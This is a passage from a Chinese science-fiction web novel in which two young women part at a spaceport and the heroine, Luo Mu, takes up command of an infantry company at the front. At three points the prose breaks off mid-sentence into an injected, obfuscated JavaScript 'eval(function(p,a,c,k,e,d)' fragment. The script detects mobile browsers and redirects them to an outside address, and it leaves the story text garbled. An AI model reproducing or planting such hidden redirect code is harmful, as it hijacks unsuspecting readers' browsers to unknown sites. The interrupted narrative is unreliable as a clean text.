陈砚泽看上去一点都不伤心,她这时候居然在笑,只是音调有点颤抖,不仔细根本听不出来:“我本来一直住在科学院,基本是不回家。和你约好后我搬回去住了,最先想的是走之前多陪陪他们,谁知道我们还能不能回来呢。我回家那天他们可热情了,从来没那么热情过。我爸爸买了很多我爱吃的水果,满脸讨好地站在门口迎接我,背塌了个子比我还低。我妈妈在厨房里给我做饭,她以前天天在谈判桌上和别人吵架,凶狠得要命,现在笑起来脸上全是皱纹。” 她长长地叹了口气,接着说:“我当时心里难受啊,我都好久没回去了,没想到他们老得这么快。总之那几天他们对我嘘寒问暖,殷勤得要命。我也真傻,好几次被感动得要流眼泪,跟做梦一样,仿佛回到了我弟弟还没出生的时候。小暮你知道吗,当时的我甚至都有点不想去阿德尔玛了。” “我明白。还记得前文明里有个人说幸福本身就是一个终点。人要是幸福的话,就只想活着了。”洛暮低声说。 “是的,说这话的人是个天才,他把人性看得很透。”陈砚泽说,“想来真是愚蠢,我竟然因为他们施舍给我的一点点好,差点背弃我们的约定。亏我之前自诩意志坚定,其实多么容易被感情动摇。” 洛暮默默地听着。 “直到昨天那个白痴子爵找到我,问我喜欢什么款式的戒指。我才知道这件事。我装作什么都没发现的样子回到家,看到爸妈已经做好饭等我了。他们脸上都喜气洋洋的,可笑我之前还以为是太久没回家他们想我了。是不是很有意思,戏剧性十足。”陈砚泽微笑道,“然后我就告诉他们,我明天就出发去阿德尔玛了。” 7. 离群的双星(二) 陈砚泽懒洋洋地说:“接下来的事情你想必能猜到吧。愤怒、哭泣、恐慌、软硬兼施。我妈妈说前线那么危险你要是死在那怎么办,我爸爸说你就这么把父母扔下究竟有没有责任心。我一概不理,最后等到他们无计可施的时候,我告诉他们其实没必要搞得那么复杂。让我弟弟进部属小学,多大点事啊。” “前线优先条例。”洛暮说。 “是的,你还是能这么快找到重点。前线优先条例上说,凡是主动申请去边境的优秀人才,对其家属都有一定优待,可以尽量满足他们的合理需求。我于是打电话给我导师,他和宣传部的人很熟。那边正需要典型来进行号召,遇上我这种奔赴前线的青年才俊,自然是赶紧答应,然后这件事顺利地就办下来了。他们如愿以偿,这时候就不再提去阿德尔玛的事,还生怕我不去呢。你说是不是有趣极了。”陈砚泽一口气说完,惨然一笑。 “唉,这又是何苦?换成我就一走了之,看他们怎么收场。”洛暮说。 “不知道,既想恨他们,看到他们那副沧桑的样子又狠不下心。曾经我们也关系好过,难道说当年的感情都是假的吗。就这样吧,权当还清他们的养育之恩,从此两不相欠。算算我也是让他们省了一千万,岂止是还清,溢出多少倍啊。” “即使这么想,心里还是很难受吧。我总是有这么一个看法,就是孩子对父母之爱的期望,一辈子都不会消失。” “是的。所以说有些人真是可怜,只要父母说一句好话,付出一点温情,他们就会傻乎乎地付出一切。”陈砚泽冷冰冰地说,更像是自嘲。 此刻窗外已经出现星际航站巨大的轮廓,它是一座直通天空的高塔,在夜色中如通天光柱,向四周放出耀眼的光芒。悬浮车正在降落,它即将停在航站的边缘。 洛暮和陈砚泽一起扭头注视窗外,她们看见逐渐逼近的地面,看见星际航站的面积巨大的一层,十六扇大门同时打开,吞吐人流。悬浮车落地,靠航站那侧的门唰的滑开。洛暮拎着两人的行李走下车,把陈砚泽的箱子递给她。 接下来她们要坐摆渡车去到不同的门。洛暮先回一趟左拉,而陈砚泽直奔阿德尔玛,她们必须暂时分开。两个女孩默默对视,洛暮还在思考怎么安慰陈砚泽,她在这方面不甚擅长,但陈砚泽已经放开箱子,紧紧抱住她了。 陈砚泽说:“小暮,真高兴有你在身边。你说得对,人要懂得取舍,我们是要做星星的,怎么能让这些事情绊住呢?” 她这时候又恢复到兴致勃勃的样子了,仿佛那些事情压根没困扰过她。其实情绪就是这样,说出来会好很多,问题是大部分人压根没有倾诉的对象,于是那点细微的刺痛就经年累月积攒下来,最后如火山般爆发,别人却还莫名其妙。 洛暮点点头,说:“离开阿纳斯塔西亚后,就把他们忘得干干净净吧!别担心,以后我就是你的家人。虽然这么说很肉麻,但……唉,总之我心里一直都把你当姐姐看。” 她终于想好台词,说出来时却忍不住羞怯了,脸情不自禁地泛起红晕。陈砚泽放开她,盯着她脸上的神情,忽然大笑道:“其实小暮你很容易害羞啊。” “根本没有,我从不害羞!我只是,哼,我只是不擅长应付这种场面,你以为谁都像你一样。”洛暮这时候倒敢大声争辩了。 “好啦好啦,我明白的。我们之间呢,抒情的任务就由我来承担好了。”陈砚泽说。 “还是少抒情吧,我招架不住的。”洛暮无力地说。 她们瞧着对方,很快又哈哈大笑起来。 “我先去阿德尔玛给我们探探路,等你过来。”陈砚泽说。 “好啊,第一要紧的事情是找找有什么好的糖水铺子,我突然很馋那个。” “我知道的,你爱的双皮奶、芋圆团子、椰奶西米露……放心吧,找不到我做给你吃。”陈砚泽信誓旦旦地说。 “等候的乘客请注意,摆渡车即将到站。请有序排队,不要拥挤。” 由远及近的提示音在她们耳边响起,洛暮抬眼望去,新一轮的摆渡车即将到站。车厢在惨白的灯光下显得更加空荡,车头的司机哈欠连天地盯着操作台。现在已经是深夜。 “这车怎么来得这么快。”陈砚泽抱怨道。 “现在来正好,不用匆匆忙忙赶航班。”洛暮说。 “说得也是,那我先过去啦,小暮。就不说再见了!反正我们很快会再见。”陈砚泽飞快地拿起行李箱,依依不舍地看了洛暮一眼,转头向她那号门的摆渡车跑去,它停的位置很远。 盛大的夜里,两个女孩拖着箱子背道而驰,但时不时回头看一下彼此,然后挥挥手。她们终于登上各自的摆渡车,隔着两道车窗,还在尽可能地望着对方。车厢微微摇晃一下,洛暮乘坐的摆渡车启动了,她忽然想起什么,用力打开窗户。这么晚车里人不多,他们一下子注意到女孩的举动,全都向她投来惊讶的目光。洛暮不管不顾,她对着陈砚泽的方向大喊一声:“砚泽,阿德尔玛见!” 此时她们之间的距离已经隔得很远,但她确定陈砚泽听到这句呼喊了,因为她脸上的笑容更加灿烂,拼命地向洛暮挥手。 洛暮松了口气,好像做完一件大事一样,关上窗户,不好意思地笑了下,坐回座位。她把身后的书包放到胸前,紧紧地抱着。 四十分钟后,洛暮走进去往左拉的飞船。她卸下书包,再把那只陪伴她三年的棕皮箱锁到储物柜里。洛暮买的是二等舱,有一个小小的胶囊床位。她钻进去,然后趴到舷窗边盯着外面的景色。 民用飞船的舷窗非常窄小。她透过那巴掌大的玻璃,如饥似渴地看着外面。舷窗外是上升舱,上升舱的舱壁是灰色的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096869|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单调乏味,洛暮可以看到上面的污渍和涂层剥落后的裂纹。飞船底部传来一声巨大的声响,她面前的舱壁开始移动了,洛暮看见原本清晰的舱壁忽然变成模糊的色块,飞船上升,一连串的灰色在她眼前闪过,这个状态维持了很长一段时间,仿佛看不到尽头。 简直像快放的录像带,洛暮心想。就在这时,她的眼前骤然开朗,阿纳斯塔西亚灯火辉煌的夜景跃然于上,但它没有在洛暮眼中停留多久,飞船仍在向上,外面有黑色轮廓的东西飘过,它们是夜里的云。云层之下,辉煌的阿纳斯塔西亚在快速缩小,它的光芒隐去,直到和大地彻底融为一体。 飞船正在冲出大气层,逃逸地心的引力。巨大的加速度使洛暮有种在坐过山车的错觉,那已经是很多年的事情了,在她还只有几岁的时候。无边无际的黑暗中,过去的记忆一下子袭击了她。她记起来和妈妈去游乐场的那天,她不愿意坐摩天轮不愿意坐旋转木马,一意孤行地要去坐那个看上去最危险的过山车。 妈妈?妈妈是什么样的呢。妈妈好像有点害怕,但还是带着她上去,坐在洛暮选定的第一排。过山车一路向上加速,人像摊饼一样紧紧贴着座位后背,好像整个世界的重量都倾轧过来,过山车飞越峡谷凌空的瞬间全车人都在尖叫,只有洛暮在拍手大笑,她说妈妈这多像飞翔啊,离天空多近啊,我以后一定要到天上去。 奇怪,妈妈为什么落泪了呢。她的表情看上去真悲伤,洛暮表现出来的对天空的热爱好像刺痛了她,她在空中旁若无人地哭起来。她说了几句话,可是声音淹没在喧闹中,洛暮没有听清。 飞船的高度还在升高,记忆像重力一样施加在洛暮身上,她突然不可控制地想起妈妈,那个梳马尾穿衬衣每个早晨在厨房里叮叮当当的女人,那个纤细敏感好像总是藏着心事的女人。她美得如此非同凡响,与左拉那个小地方很不相配。她似乎很害怕老去,比所有人都害怕时间的流逝。 但衰老的问题再也不会困扰她了,她将永远年轻,以三十多岁的形象在洛暮心中存在下去,然后渐渐模糊,直至成为一幅年岁久远斑驳褪色的油画。 眼前一片黑暗,洛暮的身体忽然轻盈了起来,好像灵魂也随之冲出了躯壳。飞船已经摆脱引力,进入到太空。洛暮张大眼睛地朝远处看去,但视线太窄,她只看到几颗稀疏的星星。 洛暮看了看手环,现在是阿纳斯塔西亚时间凌晨两点,这是她最后一次使用阿纳斯塔西亚时间,但很多年后她才会意识到。浓浓的困意袭来,洛暮闭上眼睛,航班接下来的大部分时间她都要在睡眠中度过。她没有想着再跑到飞船的尾部看看消失的阿纳斯塔西亚,这毫无必要。 她已经把阿纳斯塔西亚甩在身后了,把少年时代的忧郁、软弱、动摇丢弃殆尽,连同心里残余的那点对温暖的眷恋。她即将变得无坚不摧,所向披靡。 8. 阿德尔玛的连长(一) “洛暮少尉。”周霖念出眼前这个年轻军官的名字,他露出笑容。这笑容的意味很特殊,完全是长辈面对晚辈的笑容,而非上级接见前来报到的下级。 他和这个看上去还有点孩子气的下属握手,和蔼地说:“欢迎你来到阿德尔玛,我等你很久了。” 洛暮也微笑着同自己在军中的长官,阿德尔玛第二师第四团一营的营长周霖握手。 她在来报道之前就考察了自己这位营长的履历,知道他是地地道道的阿德尔玛人,从阿尔嘉军校毕业,一路稳稳当当地晋升到少校,晋升速度不快也不慢,没犯过错也没立过功,完全就是一个军中经典的四十岁少校军官。 洛暮看完后的评价就是:毫无亮点的履历,毫无性格的老好人,没什么可挑剔的。她对这个上级尚且算是满意。 她敏锐地注意到他们见面的礼节是握手并非敬礼,这足以证明他在心里并未把洛暮视作一个军人,大概是她的外表有些稚嫩,年纪也小得可怜。这种印象利弊参半,好处就是他对洛暮大概会宽容一些,坏处就在于可能不会对她委以重任。 洛暮绝不允许第二种情况发生。 他接下来大概是要跟她寒暄些家常,洛暮心想。就用这个机会扭转一下印象好了,顺便多问点东西。在阿纳斯塔西亚的她对前线长期一无所知,必须要立刻熟悉形势。 果然,周霖开口说道:“我在会议上就看过洛暮少尉的简历了。你这样前途无量的年轻人,居然愿意到阿德尔玛来,我们都十分惊讶且欣赏。你被分配到一营,我是非常高兴的。现在,我代表四团一营再次欢迎洛暮少尉的到来。” “谢谢营长,能来到一营,我倍感荣幸。保疆卫土是每个军人的天职,自战争爆发以来我就一直在牵挂前线。可惜军校里的时政课程对此并无涉及,实在令我扼腕。”洛暮流畅地说。 她的声音毫无少女的娇婉,完全是一个成熟军人该有的坚定和冷酷,与她笑容消失后严肃的脸相得益彰。 这令周霖有些惊讶,他再次认真地审视洛暮,点头说:“我理解你们年轻人的热心,也非常钦佩你舍弃阿纳斯塔西亚的稳定来到我们这里。但这是战场,洛暮少尉,你的简历显示你只有十九岁。你的决心足够坚定吗?我不希望你只是一头热血闯进这里,要我说,你还完全是个孩子。” “我已经通过军校的毕业考核,并且取得优异的成绩,这足以证明我是一名合格的军人,而非孩子。至于我的决心,离我递交申请书到现在,已经过去二十九天,时间之长足够使一个莽撞的念头冷却,但我还是来到了这里。” 洛暮吐字清晰,抬头直视周霖。很多人都说洛暮的目光中有种神奇的东西,它会使你不由自主地想去相信她,认真倾听她说的话。 周霖不自觉地绷直身体,他问:“你确定好了吗,洛暮少尉?你来之前我给上级打过报告,说可以将你调去机关,而不必在部队里。我们很快就要投入前线,我希望你能考虑清楚。” “谢谢营长对我的关怀。我在申请书上写的是希望能到前线作战,这是我深思熟虑的结果,且至今并未发生改变。请您给我这个机会,在前线作战对军人来说理当是种责任和荣耀,我对此感到无比欣喜。” “很好,请坐,请坐。那现在我们可以多聊聊了。”周霖示意洛暮坐到他的对面,他问,“洛暮少尉能具体讲讲你为什么会有这种想法吗,我想知道你究竟是怎样思考的。” 洛暮垂眸沉思片刻,其实她根本不需要思考,来之前她就预演了所有的对话,现在一切都在她的设想之内。她这样做无非是为了显示自己的郑重和真诚。 她审慎地开口道:“诚然,在常人的设想中,自望渊毕业的学生有无数光明坦途。因为它并非是所单纯的军校,更像是通往上层社会的跳板。可能在您眼中,舍弃这些来到阿德尔玛的我,非常幼稚,因为我不知道自己放弃的是什么。所以我一定会后悔,并且无法久留。” 周霖正色道:“我并没有这么想,洛暮少尉。” 他否认得很坚决,心里却清楚,这正是他见到洛暮之前的想法。 “抱歉,是我擅自曲解您的意思了。但军中一定有人会这样思考。”洛暮平静地说。 “会有这种情况,毕竟望渊军校的名号实在是太大了。”周霖解释道。 “没关系。无可否认,我去望渊的最初想法正是如此,我希望能留在阿纳斯塔西亚,成为上流社会的一员。我也确实有一段时间被浮华所困,几乎要向权势束手就擒。如果问我有没有留恋阿纳斯塔西亚,我只能说,曾经有过。”洛暮说。 她知道阿纳斯塔西亚在其他地方意味着什么,他们把夸张的想象加诸那座城市,它是多少人一生都想到达的圣城。这种愿望如此强烈,以至于他们不敢相信洛暮真的会放弃阿纳斯塔西亚。她必须扭转这种看法。 洛暮接着说:“我出身左拉,左拉是个小星球,隶属伊莱那行政区。我当初离开左拉是为了逃离它,因为我要去大城市,毕竟我这么年轻,这么优秀,怎么能够把自己埋没在这种地方呢。原谅我这种不自量力的想法,但您应该知道,人小时候大概都有一段不知天高地厚的时期。” 周霖笑着点点头,说:“很正常,这种想法我也有过,完全可以理解。而且你确实称得上优秀,应该有这个自信!” 洛暮笑了笑,说:“谢谢您的夸奖。总之,怀揣着这种自信,我报考了望渊军校,很幸运地录取到指挥专业。身边的同学基本都是贵族出身,就是我们想象的那种贵族。我记得入学那天校门口停满了豪车,之前我只在网上见过。我小心翼翼地拖着行李箱从旁边走过,离它们远远的,生怕不注意剐蹭到。怎么说呢,那些车的一个车胎,大概就够我给帝国打工到死。” 周霖颇有共鸣:“确实如此。我之前带孩子去阿纳斯塔西亚旅游,租了辆凯迪牌悬浮车,结果根本不敢上路。放眼望去全都是豪车,开得还飞快。” “是的,毕竟那是阿纳斯塔西亚。在那里扔块砖头砸死的都是伯爵,拿枪扫射一圈倒下的全是机要大臣。”洛暮严肃地说。 她说完,周霖就大笑起来,他没料到这个从望渊军校出身的孩子居然毫无架子,她说话是那么有趣,让人乐意与之交谈。 “由此您可以知道,我身边的同学都是怎样的存在。我们差距悬殊,即使在学校里能够略微抹平这种鸿沟,但只要不是傻子,就能清晰地意识到我这个从小地方来的家伙与他们是完全不同的。最初我很想融入其中,对于当时的我来说华服珠宝和宝马香车的诱惑实在太大了。为此做了很多蠢事,被同学笑话。” 周霖不住地点头,洛暮的表情很恳切,有种剖心置腹的感觉,他丝毫没有对这些话起疑心,它们完完全全就是一个十九岁的年轻人该有的想法。实际上洛暮几乎没做过蠢事,她从进入到望渊军校就谨慎得可怕。这个女孩天生强烈的自尊心绝不允许自己沦为笑柄。 但无所谓,她现在只是需要赢得周霖的信任,这就是善意的谎言,无伤大雅,无伤大雅。 “我为此迷茫苦恼了很久,有段时间天天在操场上跑步。我开始思考阿纳斯塔西亚的一切是否真的是我所要追求的,它是很繁华,可它不属于我,也不需要我。直到我听闻阿德尔玛爆发了战争,这是多么大的一件事啊,可我身边的人居然毫不关心。他们只是火急火燎地从军校逃出去,甚至不惜提前结业,唯恐将来兵力不足把他们通通扔到前线。毕竟在皇帝眼里,普通贵族也不过是草芥罢了。” 洛暮耸了耸肩,冷冷笑道,“这难道是我想要的吗?我为什么要与这群人为伍。他们暗地里享受美酒,公开却教导人们喝白水。从那刻起我就明白曾经困住自己的阿纳斯塔西亚是多么可笑,它的一切并非我所追求的。我知道自己担忧阿德尔玛的局势,知道自己渴望保家卫国。所以尽管我这个举动在那些同学看来蠢得不可思议,但我还是来了。打仗受苦的是我们这些普通人,如果说阿纳斯塔西亚教给我什么,大概就是我更加认同自己普通人的身份,军人只是为此而战。” “洛暮少尉,我看到你的决心了。”周霖站起来向她敬礼,他由衷地赞叹道,“我不得不向你说句抱歉。说实话,刚看到你的简历时我对你是持怀疑态度的,不相信从阿纳斯塔西亚来的人能忍受这里的艰苦条件。但你完全改变了我的看法,你确实是名真正的军人。” 洛暮适时地露出激动的表情。心里却微微惊讶,对周霖不由得高看几分。他先开始对她的刻板印象在洛暮的意料之内,但她没想到周霖会这么果断地承认自己的偏见,她没见过,至少在阿纳斯塔西亚没见过。 她也回了周霖一个标准的军礼:“谢谢营长的信任!” 周霖从抽屉里取出一张委任状,郑重地双手递交给洛暮:“我现在可以放心地把这份委任状交给你了。洛暮少尉,鉴于你优异的表现和勇气,经过师部的商讨研究,决定任命你为第二师第四团一营三连的连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当然可以。熟悉自己的部下是做主官的第一步,你有这个意识就很好。” 周霖抬手操作一番,很快洛暮的手环震动,一份压缩文件接收信息出现在她的消息栏里。她点击接收,又问道:“我初来乍到,对前线的局势还不明朗,能不能请借用营长的一点时间,向您请教一下?” 她对军务的上心令周霖大为感动,欣然答应:“没问题。” 洛暮这一请教,时间就来到了中午。周霖惊喜地发现这个年轻人有着精确的判断力和敏锐的洞察力,她总是能恰到好处地提出一些问题,而这些是周霖从未思考过的。他有时不得不现场去查资料,再进行解答。 “原来如此,我大概明白了。不过有些事情,还是得亲眼见见才知道。”洛暮若有所思道。 “其实很多东西我也只是听说,前线作战的主要是第一师。不过我们很快也要开拔了。”周霖说,他注意到时间不早,就问道:“正好到午饭时间,小洛你中午有安排吗?” “准备回房间收拾下东西,然后研究研究刚刚营长给我的资料。” “不先吃个饭吗?”周霖问。 洛暮笑了:“这就是问题所在,上航班的时候不小心把速食食品买多了,得赶紧消化掉。不然扔掉怪可惜的。” “速食食品?我儿子也爱吃这个,不营养的。”周霖皱皱眉头。 “但是浪费也是可耻的。”洛暮义正言辞地说,她这时候的表现又跟十九岁的年纪相符合了。 周霖无奈地嘱咐道:“明天就要跟食堂吃了。” “是,营长!”洛暮敬了个礼,退出周霖的办公室。 她回到军官宿舍,却不急着收拾东西,而是躺到床上,静静地发了几分钟的呆。一上午的对话下来,她觉得有点疲惫。 头顶的天花板是白色的,整洁的白色,没有一丝瑕疵,乏味无趣。洛暮想起自己刚刚告别的家,它那泛黄的……她猛地打住自己的思维,坐了起来。她走到窗前,去看外面肃穆森严的景色。 这就是军营。洛暮心想。这就是接下来我要战胜、征服的东西。 她现在只是一名下级军官,为了达成她的目标,她必须往上,不惜一切地往上。上尉,少校,中校……直到成为能够左右局势的将军。 但我现在只拥有一个连。该怎么做好呢? 这个想法一出来,她立刻回到桌前坐下,从手环中调出三连成员的电子档案,一份一份翻阅过去。 手环投射出来的电子屏幕停留在半空,它的右上角显示着今天的日期。 新历124年7月25日。 9. 阿德尔玛的连长(二) “听说我们的连长就要上任了。”帅气的士兵说。 “听说他还是从望渊军校来的!”老实的士兵说。 “哼,你这是从哪听来的消息,编也编得像样点好吗?望渊军校出来的人怎么可能来这里!”帅气的士兵鄙夷道。 “难道是我听错了?我可是听二连连长说的。”老实的士兵检讨自己。 “肯定是听错了啊!你就将心比心一下,假如你,高余,刚刚从望渊军校毕业,授衔少尉。现在你面前有两条路,一是进入帝都守卫军,一年到手三十万,清闲自在!天天下了班就去和贵族小姐约会喝酒,那一身军服衬得你风流倜傥英俊潇洒。就这样提拔速度还是其他地方的两倍……” “天呐,别说提拔了,当一辈子少尉我都愿意啊。”名叫高余的老实士兵说。 “高余,有点出息啊!”帅气的士兵恨铁不成钢道。 “刚毕业没有三十万吧。”一个声音突然插进来。 两个士兵一齐回头,现在正是吃早饭的时候,食堂里来来往往的都是年轻的士兵,他们坐在角落,也就没注意到身边什么时候坐了个面目清秀的女生,她没有佩戴肩章,想来是其他连的女兵。 女生继续说:“而且贵族小姐怎么会那么轻易就和你出去约会喝酒,想太多啦。人家是图你的军装好看?图你的情绪价值?还是图你一年到手的那点工资,连一个包包都买不起?” 帅气的士兵大为窘迫,立刻反驳道:“那是你想的太肤浅了,你懂望渊军校还是我懂望渊军校?从那里面毕业的人哪个不是前途无量。” 女生奇怪地说:“那也得是你朝中有人才能前途无量吧。如果你真就是个普通毕业生,拿什么和人家的将军父亲竞争。升迁升迁没有你,立功立功没有你。最后熬个中校被扫地出门,攒下的钱刚好在阿纳斯塔西亚买间棺材大小的房,对着一地鸡毛的人生,再想起自己当年进入军校意气风发的模样,啧啧啧,实在可怜。” “这是在讲什么恐怖故事吗?”高余悚然。 帅气的士兵尴尬道:“你很有一种不要吃不到葡萄说葡萄酸的嫉妒心理啊,那可是望渊军校!” “望渊军校怎么了,望渊军校多的是废物呢。”女生不以为意。 老实的士兵高余打圆场:“哎呀哎呀,不说这个,我们明明在说连长的事情,扯远了扯远了,怎么光提望渊去了。” “对哦,我们是在说连长,继续呀。”女生点点头。 “哼,我知道的也不多。人家一连二连的连长早就到位了,我们连长却迟迟不来,神神秘秘,急都急死了。如果跟二连连长一样是个军校毕业没几年只会摆架子的愣头青,简直是倒血霉。”帅气士兵说。 “那也没办法,现在能有人来指挥就不错了。想想真的很荒谬……我们这种水平的都要去前线,可见有多缺人手。”高余幽幽地说。 “确实,目前的情况是兵力不足。一方面是前线频繁出现投敌现象,另一方面是各个行政区心不齐,调兵很困难。另外,你们也不要妄自菲薄,水平都是战场上锻炼出来的,那些军龄比你们久的未必有真才实学。”女生说。 “竟然还有投敌么……”高余愣住了,似乎完全没料到有这个选项出现。 “是啊,投敌的人数远远高于战死的人数吧,不然最初那么点叛军,怎么会人越打越多。”女生说。 帅气士兵终于意识到什么了,他问:“所以你究竟是什么人啊?怎么知道这些东西。你是我们营的吗?” “当然啊,我不仅是你们营的,还是你们连的。” 高余傻笑,帅气士兵也笑,他问:“来来来,那你说说我叫什么名字?一个连的不会不认识吧。” “吴肖利,对吧?”女生说。 吴肖利吃了一惊,但反应很快且颇为自恋地说:“知道名字也不代表什么,毕竟我这么出名。想必整个一营都认识我。” “吴肖利,二十岁,来自莱萨行政区的埃乌特洛比亚星,原本在莱萨经济贸易大学就读,在四个月前退学参军。家里是做木材生意的,有一个弟弟,比你小十四岁。这下可以证明了吗?”女生谦虚地发问。 “你你你,你是上面派来查户口的么?”吴肖利惊恐地把身子向后仰,高余在旁边呆呆地拿着筷子,眼睛睁得如铜铃。 “谢谢你给我委派的新职位,但这不是我的本职工作。我的本职工作是负责指挥阿德尔玛第二师第四团一营三连全连的战场军事行动,顺带管理连队的日常行政事务。简单概括一下就是,我是三连的连长。”洛暮微笑道。 两个战士猛地愣住了,他们目瞪口呆地看着洛暮,良久才恢复反应。 “连长?”吴肖利问,似乎有点不可置信。 “连长……”高余傻傻地重复一遍。 “不可能!你怎么会是连长?”吴肖利断然否认道。 开什么玩笑?这个女生,这个看起来文弱的女生,好吧其实也不算文弱,但怎么看也跟他想象中的连长相差太远了吧!而且哪有连长像她这样的,跑来跟士兵谈笑风生。军官不应该都是和营长团长那样拿鼻孔看人的吗? “奇怪,我看上去有那么不像连长吗?我怎么觉得自己怎么看怎么像呢,你以为连长该是什么样的?”洛暮说。 “起码也是那种喜怒不形于色,站在那威严得让我们发抖的狠角色,无论如何也不会是……”吴肖利喃喃道,紧紧地盯着洛暮。 该死,她的表情为什么这么淡定,一点玩笑的意思都没有。再结合刚刚她的表现,难道说这个人真的是……不要啊,不要是真的啊。 “无论如何也不是我这样的。你定睛一看,觉得还是查户口这个工作最适合我,是不是这样?”洛暮调侃道。 高余咧开嘴笑了,吴肖利大窘,说:“不不不,别再查户口了。你真是连长?这可得拿出证据。” “需要我把肩章拿出来自证清白吗?哦不对,我的军衔似乎没什么说服力,还是拿电子委任书吧。”洛暮说着就从手环里调出电子委任书,把手伸到桌子中央。 吴肖利第一个凑过去看,他先是浏览了一遍委任书,最后目光停留在照片上,他又抬头看看洛暮,顿时面如金纸。 照片里的军官身着少尉军服,神色严肃,眼神惊人的锐利。虽说气质和现在眼前这个带着笑意的人有所出入,但怎么看五官都是一模一样。 “我看看我看看。”高余也凑上来,他一看到照片就像被钉住了一样。 “你是洛暮……连长?”吴肖利终于回过神,但怀着最后的希望,向对方确认身份。 “正是本人,洛水的洛,暮色的暮,看看字对没对上?”洛暮收回手环,她的语气从容又笃定。 “连长!”高余如梦初醒般准备推开椅子起来敬礼。 “打住。”洛暮一把摁住高余,小声说,“我就是先来看看的,敬礼什么的都免了。” “真的是连长吗?”高余惊叹道,还是有点不敢相信,忍不住也再确认一下。 “难道还有假不成,需要我也报一下你的户口吗,高余战士?”洛暮笑着问。 “不了不了。”高余脸红道。 “连长好。”吴肖利也反应过来了,他想起刚刚自己居然在和连长谈连长,口气还如此狂妄,顿觉前路无望,连忙说:“连长,我们刚刚只是……” 他正想着如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096871|163726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何狡辩,孰料高余突然问道:“所以说连长你真是从望渊军校毕业的吗?” 哪壶不开提哪壶!一想到自己刚才针对望渊军校的长篇大论,吴肖利无力地扶额,平生第一次在考场之外感受到冷汗连连的感觉。 “是啊。你从二连连长那里得来的消息还挺准确。”洛暮点点头,她注意到吴肖利的动作,笑吟吟地说:“啊,想起来刚刚肖利还为我描述了在阿纳斯塔西亚的远大前程,听着真是令人神往。这样光明的未来,我居然错过了,实在是愚蠢至极。你说是不是,肖利?” 吴肖利平生从来没有一天这么尴尬过,他拼命地摆手,说:“放过我吧,连长。我悔过,我真的悔过!我以后绝对不在背后讨论这些事了。” “怎么能不讨论呢,要讨论的,不要因为一点小小的挫折,就失去八卦的心。”洛暮语重心长地说。 “不,真的。我这辈子也不八卦了。”吴肖利痛心疾首捂住脸。 “要的,不八卦情报从哪里来?肖利你就是八卦得不到位,才会判断失误。”洛暮教导道。 “那我能来八卦一下吗,连长既然是望渊军校的,为什么要来我们这里?”高余忍不住问。 这个问题正好也是吴肖利想问的,他放下手,竖起耳朵。 “奇怪,怎么都要问我这个问题。好吧,真实原因是我在阿纳斯塔西亚花天酒地过着腐败的生活,因此欠下巨额债务。毕业在即债主天天上门要钱。而我身无分文,为逃避债务只好连夜申请调到前线,逃之夭夭。如果你们以后看到从阿纳斯塔西亚来讨债的人,不要犹豫,立刻替我悄悄料理掉他们。这个理由你们相信吗?”洛暮严肃地说。 两个士兵不约而同地露出傻笑,吴肖利配合地说:“好的连长我们明白了,你放心吧,一定让他们消失得神不知鬼不觉。” “放心吧连长,杀人灭口这件事我们最擅长了。管教您高枕无忧。”高余也作奸臣状。 “这很好,事成后我封你们爵位。切记,做事时候利落点,痕迹的不留,活口的不要。”洛暮赞许地说。 “那事成后能封个伯爵吗?”吴肖利问,他脸皮很厚,恢复得很快。 “我其实子爵就行了。”高余说。 “都在我洛暮手下效力了,能不能胆子大些。到时候阿纳斯塔西亚封给吴肖利公爵,阿德尔玛封给高余公爵,传子孙万代。”洛暮说。 他们三个终于没有忍住,一起大笑起来。 吴肖利笑得肚子疼,他说:“这下不得不为连长赴汤蹈火了!” “赴汤蹈火?那看来公爵都不够用了,必须是亲王!”洛暮笑着说。 高余本来都止住笑了,一听这话,忍不住又趴在桌子上继续笑。 洛暮还想继续说点什么,这时她瞥了一眼手环上的时间,迅速起身,说:“早晨有点事情要处理,你们好好吃饭,就不打扰了。一会训练场上见。” “好的,连长再见!”高余说。 “连长那我们能提前去宣传一下你吗?”吴肖利问。 洛暮莞尔一笑:“随意,只要你不把我宣传成查户口的就行。” “哈哈哈哈哈哈哈哈哈。”高余咽下去一口牛奶,忍不住又笑起来。 他们目送洛暮急匆匆出了食堂门,吴肖利忍不住问高余:“你觉得我们连长怎么样?” “我觉得很好,一点架子都没有。反正我认为比一连二连的都要好,而且她都封你爵位了诶,还有什么不满意的!”高余笑着说。 “我当然没什么不满意的,不过性格是一方面,能力还不知道。行啦行啦,赶紧吃饭,我等不及要到训练场上给大家宣传一番了。”吴肖利说。 10. 阿德尔玛的连长(三) 每个营有各自的训练场。 上午九点,一营三个连的士兵早早聚集到训练场上,一连的士兵面无表情,二连的士兵面如死灰,只有三连的士兵神色格外雀跃。 “所以我们连长居然是个女生吗?总算有伴了!肖利你还有什么要说的,赶紧呀。”三连二队的队长布莱尔兴奋道,她是个棕发碧眼身形高挑的女生,负责带领人数少而精的技术队。 “真的没有了,我和高余总共也就和她相处了十几分钟。”吴肖利说。 